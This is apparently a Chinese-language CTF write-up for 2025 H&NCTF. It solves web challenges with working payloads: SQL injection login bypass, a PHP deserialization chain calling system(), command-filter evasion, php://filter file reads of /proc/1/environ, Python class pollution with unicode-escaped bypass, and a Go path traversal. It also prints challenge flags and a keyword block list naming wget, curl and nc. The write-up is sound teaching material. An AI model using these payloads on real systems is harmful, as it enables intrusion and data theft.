2025H&NCTF

半成品login

登录界面弱密码爆破admin admin123

登录后得到提示

这个半成品的login界面还是太没意思了
我把你想要的东西放 hacker***** 用户下了
你登上去自己拿吧 而且似乎数据都是小写啊,太弱了!

注意：系统已修复SQL注入漏洞，请勿尝试非法访问

判断应该通过sql注入方式登录hacker*****用户获取flag

尝试后在password处发现存在可用注入点，猜测后台查询语句如下

SELECT * WHERE username = '' AND password = ''

利用%进行用户名模糊匹配，通过||(or)与and的优先级顺序直接登录hacker*****用户，payload如下

username=hacker&password=fake%2527/**/||/**/username/**/like/**/%2527hacker%%2527#

payload效果等效于

SELECT * WHERE username = 'hacker' AND password='fake' or username = 'hacker%'

登录后获得flag

3adfba22c53950309dae6ce011e147ff.png

ez_php

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 <?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽！" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['诗人我吃！']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

if (isset($_POST['data'])) {
    $temp = unserialize($_POST['data']);
    throw new Exception('What do you want to do?');
} else {
    highlight_file(__FILE__);
}
?>

很简单的反序列化利用，md5强比较数组绕过即可，再通过索引置空利用GC机制绕过抛出错误即可

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<?php
error_reporting(0);
class GOGOGO{
    public $dengchao;
    function __destruct(){
        echo "Go Go Go~ 出发喽！" . $this->dengchao;
    }
}
class DouBao{
    public $dao;
    public $Dagongren;
    public $Bagongren;
    function __toString(){
        if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
            call_user_func_array($this->dao, ['诗人我吃！']);
        }
    }
}
class HeiCaFei{
    public $HongCaFei;
    function __call($name, $arguments){
        call_user_func_array($this->HongCaFei, [0 => $name]);
    }
}

$a=new GOGOGO();
$b=new DouBao();
$c=new HeiCaFei();
$a->dengchao=$b;
$b->Dagongren=[1];
$b->Bagongren=[0];
$b->dao=[$c,'cat /ofl1111111111ove4g'];
$c->HongCaFei='system';
$payload=[$a,0];
print_r(serialize($payload));
#a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:1;i:0;}

索引置空后提交payload即可

a:2:{i:0;O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:0;}}}i:0;i:0;}
QQ_1749308345419.png

Really_Ez_Rce

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<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
    $inputNumber = $_REQUEST['Number'];
    
    if (preg_match('/\d/', $inputNumber)) {
        die("不行不行,不能这样");
    }

    if (intval($inputNumber)) {
        echo "OK,接下来你知道该怎么做吗";
        
        if (isset($_POST['cmd'])) {
            $cmd = $_POST['cmd'];
            
            if (!preg_match(
                '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
                $cmd
            )) {
                echo "你传的参数似乎挺正经的,放你过去吧<br>";
                system($cmd);
            } else {
                echo "nonono,hacker!!!";
            }
        }
    }
}

Number利用数组绕过，cmd通过拼接绕过

payload

Number[]=1&cmd=a=1;b=s$IFS/;$a$b

bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

Number[]=1&cmd=a=ca;b=t;c=se;d=d;e=di;f=r;$a$b /$($e$f -1 / | $c$d -n 5p);
d0e0fe8fd8d198ce4c6e2b8bb40477f8.png

DeceptiFlag

在前端代码中删去隐藏输入框LangInput的display:none;，分别在两个输入框中输入xiyangyang和huitailang，跳转到/tips.php?file=flag

文件包含漏洞，payload如下

/tips.php?file=php://filter/resource=/proc/1/environ

获得flag

GZCTF_FLAG=flag{00e2beb5-80de-48d3-a204-15ef3a77cfc7}

奇怪的咖啡店

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from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
    if not session.get('name'):
        session['name'] = ''.join("customer")
        session['permission'] = 0

    error_message = ''
    if request.method == 'POST':
        error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买，请稍后再试！</p>'

    products = [
        {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
        {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
        {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
        {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
        {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
    ]

    return render_template('index.html',
                         error_message=error_message,
                         session=session,
                         products=products)


def add():
    pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
    if request.method == 'GET':
        return '''
            <html>
                <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
                    <h2>添加商品</h2>
                    <form id="productForm">
                        <p>商品名称: <input type="text" id="name"></p>
                        <p>商品价格: <input type="text" id="price"></p>
                        <button type="button" onclick="submitForm()">添加商品</button>
                    </form>
                    <script>
                        function submitForm() {
                            const nameInput = document.getElementById('name').value;
                            const priceInput = document.getElementById('price').value;

                            fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'application/json',
                                },
                                body: nameInput
                            })
                            .then(response => response.text())
                            .then(data => alert(data))
                            .catch(error => console.error('错误:', error));
                        }
                    </script>
                </body>
            </html>
        '''
    elif request.method == 'POST':
        if request.data:
            try:
                raw_data = request.data.decode('utf-8')
                if check(raw_data):
                #检测添加的商品是否合法
                    return "该商品违规，无法上传"
                json_data = json.loads(raw_data)

                if not isinstance(json_data, dict):
                    return "添加失败1"

                merge(json_data, add)
                return "你无法添加商品哦"

            except (UnicodeDecodeError, json.JSONDecodeError):
                return "添加失败2"
            except TypeError as e:
                return f"添加失败3"
            except Exception as e:
                return f"添加失败4"
        return "添加失败5"



def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



app.run(host="0.0.0.0",port=5014)

很明显的python原型链污染，在add路由传入payload

{"__globals__":{"app":{"_static_folder":"/"}}}

被过滤，通过json.loads对unicode编码的处理进行绕过

{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f": {"\u0061\u0070\u0070": {"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072": "\u002f"}}}

成功污染，访问/static/proc/1/environ获取flag

GZCTF_FLAG=flag{73212b13-7f65-411e-aecc-fcb0c4be3be9}

Watch

windows的路径解析，Go 1.20 filepath 漏洞（GO-2023-2185），payload如下

..\??\d:\key.txt

用key获取flag即可